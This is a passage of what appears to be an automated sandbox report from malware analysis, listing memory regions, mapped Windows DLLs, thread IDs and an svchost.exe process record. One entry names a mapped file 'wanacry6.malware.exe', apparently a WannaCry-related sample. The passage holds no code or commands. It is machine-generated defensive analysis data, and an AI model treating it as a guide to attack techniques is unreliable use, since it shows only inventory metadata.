"private_0x0000000103a90000" filename = "" Region: id = 7650 start_va = 0x103b10000 end_va = 0x103f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000103b10000" filename = "" Region: id = 7651 start_va = 0x7ff617ba0000 end_va = 0x7ff617ba1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba0000" filename = "" Region: id = 7652 start_va = 0x7ffd11dd0000 end_va = 0x7ffd11ddafff entry_point = 0x7ffd11dd0000 region_type = mapped_file name = "lldpnotify.dll" filename = "\\Windows\\System32\\LldpNotify.dll" (normalized: "c:\\windows\\system32\\lldpnotify.dll") Region: id = 7653 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 7654 start_va = 0x7ffd11d50000 end_va = 0x7ffd11d8cfff entry_point = 0x7ffd11d50000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 7678 start_va = 0x1023d0000 end_va = 0x1023d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023d0000" filename = "" Region: id = 8044 start_va = 0x103f10000 end_va = 0x103f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000103f10000" filename = "" Region: id = 8045 start_va = 0x103f90000 end_va = 0x10400ffff entry_point = 0x0 region_type = private name = "private_0x0000000103f90000" filename = "" Region: id = 8046 start_va = 0x7ff617b9c000 end_va = 0x7ff617b9dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617b9c000" filename = "" Region: id = 8047 start_va = 0x7ff617b9e000 end_va = 0x7ff617b9ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617b9e000" filename = "" Region: id = 8048 start_va = 0x7ffd11b10000 end_va = 0x7ffd11b8dfff entry_point = 0x7ffd11b10000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 8073 start_va = 0x104010000 end_va = 0x104110fff entry_point = 0x10403fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8074 start_va = 0x103a90000 end_va = 0x103af3fff entry_point = 0x103a90000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8131 start_va = 0x1023d0000 end_va = 0x1023d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023d0000" filename = "" Region: id = 9084 start_va = 0x103a10000 end_va = 0x103a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000103a10000" filename = "" Region: id = 9085 start_va = 0x7ff617ba2000 end_va = 0x7ff617ba3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba2000" filename = "" Region: id = 9086 start_va = 0x7ffd17900000 end_va = 0x7ffd17908fff entry_point = 0x7ffd17900000 region_type = mapped_file name = "bitsprx6.dll" filename = "\\Windows\\System32\\bitsprx6.dll" (normalized: "c:\\windows\\system32\\bitsprx6.dll") Region: id = 9136 start_va = 0x1023d0000 end_va = 0x1023d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023d0000" filename = "" Region: id = 9266 start_va = 0x1023d0000 end_va = 0x1023d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023d0000" filename = "" Region: id = 9312 start_va = 0x104010000 end_va = 0x104140fff entry_point = 0x104072fe0 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 9313 start_va = 0x104010000 end_va = 0x104140fff entry_point = 0x104072fe0 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 9314 start_va = 0x104010000 end_va = 0x104140fff entry_point = 0x104072fe0 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 9315 start_va = 0x104010000 end_va = 0x104140fff entry_point = 0x104072fe0 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 9465 start_va = 0x1023d0000 end_va = 0x1023d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023d0000" filename = "" Region: id = 10613 start_va = 0x101410000 end_va = 0x10148ffff entry_point = 0x0 region_type = private name = "private_0x0000000101410000" filename = "" Region: id = 10614 start_va = 0x101f80000 end_va = 0x101ffffff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 10615 start_va = 0x102080000 end_va = 0x1020fffff entry_point = 0x0 region_type = private name = "private_0x0000000102080000" filename = "" Region: id = 10616 start_va = 0x102100000 end_va = 0x102100fff entry_point = 0x0 region_type = private name = "private_0x0000000102100000" filename = "" Region: id = 10617 start_va = 0x7ff617bec000 end_va = 0x7ff617bedfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bec000" filename = "" Region: id = 10618 start_va = 0x7ff617bf0000 end_va = 0x7ff617bf1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf0000" filename = "" Region: id = 10619 start_va = 0x7ff617c0e000 end_va = 0x7ff617c0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0e000" filename = "" Region: id = 10620 start_va = 0x102110000 end_va = 0x10218ffff entry_point = 0x0 region_type = private name = "private_0x0000000102110000" filename = "" Region: id = 10621 start_va = 0x7ff617bea000 end_va = 0x7ff617bebfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bea000" filename = "" Region: id = 10622 start_va = 0x102400000 end_va = 0x10247ffff entry_point = 0x0 region_type = private name = "private_0x0000000102400000" filename = "" Region: id = 10623 start_va = 0x7ff617be8000 end_va = 0x7ff617be9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be8000" filename = "" Region: id = 10624 start_va = 0x7ffd12090000 end_va = 0x7ffd120abfff entry_point = 0x7ffd12090000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 10928 start_va = 0x102700000 end_va = 0x10277ffff entry_point = 0x0 region_type = private name = "private_0x0000000102700000" filename = "" Region: id = 10929 start_va = 0x102780000 end_va = 0x1027fffff entry_point = 0x0 region_type = private name = "private_0x0000000102780000" filename = "" Region: id = 10930 start_va = 0x102800000 end_va = 0x10287ffff entry_point = 0x0 region_type = private name = "private_0x0000000102800000" filename = "" Region: id = 10931 start_va = 0x7ff617bde000 end_va = 0x7ff617bdffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bde000" filename = "" Region: id = 10932 start_va = 0x7ff617be0000 end_va = 0x7ff617be1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be0000" filename = "" Region: id = 10933 start_va = 0x7ff617be4000 end_va = 0x7ff617be5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617be4000" filename = "" Region: id = 10934 start_va = 0x101d80000 end_va = 0x101dfffff entry_point = 0x0 region_type = private name = "private_0x0000000101d80000" filename = "" Region: id = 10935 start_va = 0x7ff617bf8000 end_va = 0x7ff617bf9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf8000" filename = "" Region: id = 10936 start_va = 0x101f80000 end_va = 0x101ffffff entry_point = 0x0 region_type = private name = "private_0x0000000101f80000" filename = "" Region: id = 10937 start_va = 0x7ff617bf0000 end_va = 0x7ff617bf1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bf0000" filename = "" Region: id = 10985 start_va = 0x101210000 end_va = 0x10122efff entry_point = 0x1012164a0 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 10986 start_va = 0x102b00000 end_va = 0x102c37fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000102b00000" filename = "" Region: id = 10987 start_va = 0x101210000 end_va = 0x10122efff entry_point = 0x1012164a0 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 10988 start_va = 0x101210000 end_va = 0x10122efff entry_point = 0x1012164a0 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Thread: id = 306 os_tid = 0x324 Thread: id = 310 os_tid = 0x334 Thread: id = 311 os_tid = 0x338 Thread: id = 315 os_tid = 0x344 Thread: id = 316 os_tid = 0x348 Thread: id = 322 os_tid = 0x368 Thread: id = 324 os_tid = 0x370 Thread: id = 325 os_tid = 0x374 Thread: id = 327 os_tid = 0x380 Thread: id = 332 os_tid = 0x394 Thread: id = 338 os_tid = 0x3a8 Thread: id = 356 os_tid = 0x3f0 Thread: id = 365 os_tid = 0x110 Thread: id = 383 os_tid = 0x20c Thread: id = 388 os_tid = 0x240 Thread: id = 389 os_tid = 0x270 Thread: id = 390 os_tid = 0x274 Thread: id = 391 os_tid = 0x290 Thread: id = 393 os_tid = 0x284 Thread: id = 396 os_tid = 0x35c Thread: id = 397 os_tid = 0x370 Thread: id = 403 os_tid = 0x3ec Thread: id = 405 os_tid = 0x210 Thread: id = 409 os_tid = 0x408 Thread: id = 413 os_tid = 0x428 Thread: id = 419 os_tid = 0x448 Thread: id = 446 os_tid = 0x4c8 Thread: id = 538 os_tid = 0x414 Thread: id = 539 os_tid = 0x40c Thread: id = 596 os_tid = 0x728 Thread: id = 599 os_tid = 0x734 Thread: id = 601 os_tid = 0x73c Thread: id = 602 os_tid = 0x740 Thread: id = 605 os_tid = 0x74c Thread: id = 606 os_tid = 0x750 Thread: id = 607 os_tid = 0x754 Thread: id = 612 os_tid = 0x774 Thread: id = 613 os_tid = 0x778 Thread: id = 614 os_tid = 0x77c Thread: id = 618 os_tid = 0x784 Thread: id = 628 os_tid = 0x7b0 Thread: id = 630 os_tid = 0x7bc Thread: id = 633 os_tid = 0x7c8 Thread: id = 638 os_tid = 0x7dc Thread: id = 646 os_tid = 0x7fc Thread: id = 649 os_tid = 0x498 Thread: id = 654 os_tid = 0x10c Thread: id = 655 os_tid = 0x17c Thread: id = 658 os_tid = 0x11c Thread: id = 659 os_tid = 0x190 Thread: id = 660 os_tid = 0x118 Thread: id = 661 os_tid = 0x5cc Thread: id = 670 os_tid = 0x3bc Thread: id = 671 os_tid = 0x2bc Thread: id = 674 os_tid = 0x2b4 Thread: id = 675 os_tid = 0x3c8 Thread: id = 676 os_tid = 0x2c0 Thread: id = 679 os_tid = 0x2a0 Thread: id = 680 os_tid = 0x29c Thread: id = 682 os_tid = 0x6a4 Thread: id = 683 os_tid = 0x6fc Thread: id = 691 os_tid = 0x6ec Thread: id = 693 os_tid = 0x154 Thread: id = 695 os_tid = 0x7e4 Thread: id = 696 os_tid = 0x564 Thread: id = 697 os_tid = 0x7fc Thread: id = 701 os_tid = 0x7f8 Thread: id = 713 os_tid = 0x4a4 Thread: id = 722 os_tid = 0x81c Thread: id = 724 os_tid = 0x824 Thread: id = 728 os_tid = 0x838 Thread: id = 732 os_tid = 0x848 Thread: id = 733 os_tid = 0x84c Thread: id = 734 os_tid = 0x850 Thread: id = 736 os_tid = 0x854 Thread: id = 737 os_tid = 0x858 Thread: id = 755 os_tid = 0x8a0 Thread: id = 756 os_tid = 0x8a4 Thread: id = 757 os_tid = 0x8a8 Thread: id = 826 os_tid = 0x9d4 Thread: id = 924 os_tid = 0xb88 Thread: id = 925 os_tid = 0xb8c Thread: id = 927 os_tid = 0xb90 Thread: id = 928 os_tid = 0xb94 Thread: id = 929 os_tid = 0xb98 Thread: id = 930 os_tid = 0xb9c Thread: id = 931 os_tid = 0xba0 Thread: id = 932 os_tid = 0xba4 Thread: id = 933 os_tid = 0xba8 Thread: id = 934 os_tid = 0xbac Thread: id = 977 os_tid = 0x638 Thread: id = 978 os_tid = 0x63c Thread: id = 979 os_tid = 0x628 Thread: id = 980 os_tid = 0x600 Thread: id = 981 os_tid = 0x844 Thread: id = 982 os_tid = 0x868 Thread: id = 983 os_tid = 0x404 Thread: id = 984 os_tid = 0x864 Process: id = "47" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x660d0000" os_pid = "0x350" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\bthserv" [0xa], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\RemoteRegistry" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT SERVICE\\workfolderssvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000af58" [0xc000000f], "LOCAL" [0x7] Region: id = 3943 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3944 start_va = 0x7dfd200000 end_va = 0x7dfd21ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfd200000" filename = "" Region: id = 3945 start_va = 0x7dfd220000 end_va = 0x7dfd22efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd220000" filename = "" Region: id = 3946 start_va = 0x7dfd230000 end_va = 0x7dfd2affff entry_point = 0x0 region_type = private name = "private_0x0000007dfd230000" filename = "" Region: id = 3947 start_va = 0x7dfd2b0000 end_va = 0x7dfd2b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd2b0000" filename = "" Region: id = 3948 start_va = 0x7ff617d30000 end_va = 0x7ff617d52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617d30000" filename = "" Region: id = 3949 start_va = 0x7ff617d5d000 end_va = 0x7ff617d5dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5d000" filename = "" Region: id = 3950 start_va = 0x7ff617d5e000 end_va = 0x7ff617d5ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5e000" filename = "" Region: id = 3951 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3952 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3953 start_va = 0x7dfd2c0000 end_va = 0x7dfd2c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd2c0000" filename = "" Region: id = 3954 start_va = 0x7dfd2d0000 end_va = 0x7dfd2d1fff entry_point = 0x0 region_type = private name = "private_0x0000007dfd2d0000" filename = "" Region: id = 3955 start_va = 0x7dfd310000 end_va = 0x7dfd40ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfd310000" filename = "" Region: id = 3956 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3957 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3958 start_va = 0x7dfd200000 end_va = 0x7dfd20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd200000" filename = "" Region: id = 3959 start_va = 0x7ff617c30000 end_va = 0x7ff617d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617c30000" filename = "" Region: id = 3960 start_va = 0x7dfd410000 end_va = 0x7dfd48dfff entry_point = 0x7dfd410000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3961 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3962 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3963 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3964 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3965 start_va = 0x7dfd490000 end_va = 0x7dfd5cffff entry_point = 0x0 region_type = private name = "private_0x0000007dfd490000" filename = "" Region: id = 3966 start_va = 0x7dfd210000 end_va = 0x7dfd216fff entry_point = 0x0 region_type = private name = "private_0x0000007dfd210000" filename = "" Region: id = 3967 start_va = 0x7dfd490000 end_va = 0x7dfd549fff entry_point = 0x7dfd4bc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3968 start_va = 0x7dfd5c0000 end_va = 0x7dfd5cffff entry_point = 0x0 region_type = private name = "private_0x0000007dfd5c0000" filename = "" Region: id = 3969 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3970 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3971 start_va = 0x7dfd2e0000 end_va = 0x7dfd2e6fff entry_point = 0x0 region_type = private name = "private_0x0000007dfd2e0000" filename = "" Region: id = 3972 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3973 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3974 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3975 start_va = 0x7dfd490000 end_va = 0x7dfd54ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd490000" filename = "" Region: id = 3976 start_va = 0x7dfd5d0000 end_va = 0x7dfd757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd5d0000" filename = "" Region: id = 3977 start_va = 0x7dfd760000 end_va = 0x7dfd8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd760000" filename = "" Region: id = 3978 start_va = 0x7dfd2f0000 end_va = 0x7dfd2f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd2f0000" filename = "" Region: id = 3979 start_va = 0x7dfd300000 end_va = 0x7dfd300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd300000" filename = "" Region: id = 3980 start_va = 0x7dfd550000 end_va = 0x7dfd550fff entry_point = 0x0 region_type = private name = "private_0x0000007dfd550000" filename = "" Region: id = 3981 start_va = 0x7dfd560000 end_va = 0x7dfd560fff entry_point = 0x0 region_type = private name = "private_0x0000007dfd560000" filename = "" Region: id = 3982 start_va = 0x7dfd8f0000 end_va = 0x7dfdce9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd8f0000" filename = "" Region: id = 3983 start_va = 0x7dfdcf0000 end_va = 0x7dfdd6ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfdcf0000" filename = "" Region: id = 3984 start_va = 0x7dfdd70000 end_va = 0x7dfddeffff entry_point = 0x0 region_type = private name = "private_0x0000007dfdd70000" filename = "" Region: id = 3985 start_va = 0x7ff617d59000 end_va = 0x7ff617d5afff entry_point = 0x0 region_type = private name = "private_0x00007ff617d59000" filename = "" Region: id = 3986 start_va = 0x7ff617d5b000 end_va = 0x7ff617d5cfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5b000" filename = "" Region: id = 3987 start_va = 0x7dfddf0000 end_va = 0x7dfe0c4fff entry_point = 0x7dfddf0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3989 start_va = 0x7ffd19300000 end_va = 0x7ffd19377fff entry_point = 0x7ffd19300000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3994 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3995 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3996 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3998 start_va = 0x7dfe0d0000 end_va = 0x7dfe14ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe0d0000" filename = "" Region: id = 3999 start_va = 0x7dfe150000 end_va = 0x7dfe1cffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe150000" filename = "" Region: id = 4000 start_va = 0x7ff617d55000 end_va = 0x7ff617d56fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d55000" filename = "" Region: id = 4001 start_va = 0x7ff617d57000 end_va = 0x7ff617d58fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d57000" filename = "" Region: id = 4002 start_va = 0x7dfd570000 end_va = 0x7dfd570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007dfd570000" filename = "" Region: id = 4003 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4013 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4014 start_va = 0x7dfe1d0000 end_va = 0x7dfe346fff entry_point = 0x7dfe1d10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4015 start_va = 0x7dfe1d0000 end_va = 0x7dfe24ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe1d0000" filename = "" Region: id = 4016 start_va = 0x7ff617d53000 end_va = 0x7ff617d54fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d53000" filename = "" Region: id = 4017 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4022 start_va = 0x7dfe250000 end_va = 0x7dfe34ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe250000" filename = "" Region: id = 4103 start_va = 0x7ffd18f40000 end_va = 0x7ffd1908cfff entry_point = 0x7ffd18f40000 region_type = mapped_file name = "fntcache.dll" filename = "\\Windows\\System32\\FntCache.dll" (normalized: "c:\\windows\\system32\\fntcache.dll") Region: id = 4121 start_va = 0x7dfe350000 end_va = 0x7dfe3cffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe350000" filename = "" Region: id = 4122 start_va = 0x7dfe3d0000 end_va = 0x7dfe44ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfe3d0000" filename = "" Region: id = 4123 start_va = 0x7ff617c2c000 end_va = 0x7ff617c2dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c2c000" filename = "" Region: id = 4124 start_va = 0x7ff617c2e000 end_va = 0x7ff617c2ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c2e000" filename = "" Region: id = 4125 start_va = 0x7dfe450000 end_va = 0x7dff44ffff entry_point = 0x7dfe450000 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-fontface.dat") Region: id = 4126 start_va = 0x7dff450000 end_va = 0x7dff54ffff entry_point = 0x0 region_type = private name = "private_0x0000007dff450000" filename = "" Region: id = 4127 start_va = 0x7dff550000 end_va = 0x7dff5f4fff entry_point = 0x7dff550000 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-system.dat") Region: id = 4133 start_va = 0x7dff600000 end_va = 0x7dffdfffff entry_point = 0x7dff600000 region_type = mapped_file name = "~fontcache-s-1-5-18.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-S-1-5-18.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-s-1-5-18.dat") Region: id = 4326 start_va = 0x7dfdd70000 end_va = 0x7dfddeffff entry_point = 0x0 region_type = private name = "private_0x0000007dfdd70000" filename = "" Region: id = 4327 start_va = 0x7ff617d59000 end_va = 0x7ff617d5afff entry_point = 0x0 region_type = private name = "private_0x00007ff617d59000" filename = "" Region: id = 4328 start_va = 0x7ffd184a0000 end_va = 0x7ffd184abfff entry_point = 0x7ffd184a0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 4333 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4626 start_va = 0x7dfdd70000 end_va = 0x7dfddeffff entry_point = 0x0 region_type = private name = "private_0x0000007dfdd70000" filename = "" Region: id = 4627 start_va = 0x7ff617d59000 end_va = 0x7ff617d5afff entry_point = 0x0 region_type = private name = "private_0x00007ff617d59000" filename = "" Region: id = 4632 start_va = 0x7dffe00000 end_va = 0x7dffe7ffff entry_point = 0x0 region_type = private name = "private_0x0000007dffe00000" filename = "" Region: id = 4633 start_va = 0x7ff617c2a000 end_va = 0x7ff617c2bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c2a000" filename = "" Region: id = 5385 start_va = 0x7d80000000 end_va = 0x7d807fffff entry_point = 0x7d80000000 region_type = mapped_file name = "~fontcache-s-1-5-21-3643094112-4209292109-138530109-1001.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-S-1-5-21-3643094112-4209292109-138530109-1001.dat" (normalized: 